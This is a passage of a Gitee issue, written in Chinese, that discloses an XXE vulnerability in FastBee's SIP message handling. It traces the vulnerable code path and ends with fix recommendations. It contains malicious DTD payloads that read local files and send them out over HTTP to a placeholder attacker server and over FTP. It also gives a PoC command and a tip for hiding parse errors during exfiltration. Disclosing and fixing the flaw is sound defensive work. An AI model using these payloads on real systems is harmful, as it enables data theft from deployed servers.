logger.info(f"{BLUE}服务器已启动,等待连接...{RESET}") # 启动HTTP服务器 run_http_server() ``` ### 漏洞分析 首先由于某些服务器部署fastbee后未删除测试数据,导致有管理员权限的人员能通过/prod-api/sip/device/list获取测试数据中的sipid  这些SIPID可填入上面POC的SIPID列表中,供后续漏洞利用。 springboot/fastbee-server/sip-server/src/main/java/com/fastbee/sip/server/impl/GBListenerImpl.java的processRequest方法可处理SIP请求。  该方法最后一句requestProcessorMap.get(method).processMsg(evt);收到SIP MESSAGE请求的时候会进入springboot/fastbee-server/sip-server/src/main/java/com/fastbee/sip/handler/req/message/MessageRequestProcessor.java的processMsg方法。 processMsg方法会提取请求头中的SIPid,并根据此sipid查找设备:  如果找到设备,则进入springboot/fastbee-server/sip-server/src/main/java/com/fastbee/sip/handler/req/ReqAbstractHandler.java的getRootElement方法,该方法会调用getRootElement(RequestEvent evt, String charset):  com.fastbee.sip.handler.req.ReqAbstractHandler.getRootElement(RequestEvent evt, String charset)会初始化SAXReader对象,尽管后面过滤了非法的&字符,但是未禁止引入外部dtd。  构造一个恶意dtd和测试文件s.txt: ```xml <!ENTITY % file SYSTEM "file:///D:/uploadPath/s.txt"> <!ENTITY % all "<!ENTITY % send SYSTEM 'https://你的恶意公网服务器地址/leak?data=%file;'>"> %all; %send; ```  构造恶意SIP请求,请求体是XML格式,包含外部dtd引用在执行Document xml = reader.read(new ByteArrayInputStream(bytesResult));之前,变量content的内容依然包含外部dtd引用,说明变量bytesResult(请求体的ASCII数组形式)也是包含外部dtd引用的,如下图。  当调用read方法的时候,XML被解析,尽管触发异常,但是仍触发了HTTP外带:   但是只要攻击方把恶意服务器修改一下,让fastbee访问/leak?data=%file的时候返回正常xml响应,比如`return '''<!ENTITY % dummy "1234567890">''', 200, {'Content-Type': 'application/xml'}`则既能外带数据又不会触发“解析XML消息内容异常”。 **如果用jdk<7u141或者jdk<8u162运行fastbee** ,还能导致XXE FTP外带: 配套dtd: ```xml <!ENTITY % file SYSTEM "file:///C:/Windows/win.ini"> <!ENTITY % all "<!ENTITY % send SYSTEM 'ftp://xxeuser:xxepass@127.0.0.1:2121/%file;'>"> %all; %send; ``` ```shell python .\fastbeeXXEpoc.py --ftp --target 127.0.0.1 ```   ### 修复建议 1.在getRootElement方法初始化reader后添加以下安全措施: ```java reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` 上面第一个特性会禁用DTD声明,第二个特性会禁用外部通用实体,第三个特性会禁用外部参数实体。 可根据业务需求判断是否采纳,如果业务中没有使用DTD验证和外部实体,应该没有影响。 2.采用版本大于8u162的jdk来运行fastbee。 3. 采用安全设备检查可疑攻击流量。
评论 (
1
)
登录
后才可以发表评论
状态
已完成
待办的
进行中
已完成
已关闭
负责人
未设置
帐篷Li
zhuangpengli
负责人
协作者
+负责人
+协作者
标签
fix
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
未关联
分支 (2)
标签 (7)
master
dev-springboot3
v2.1.0
v2.0.1
v1.3.0
v1.2.1
v1.2.0
v1.1.0
v1.0.0
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(1)
Java
1
https://gitee.com/beecue/fastbee.git
git@gitee.com:beecue/fastbee.git
beecue
fastbee
FastBee
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
评论
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册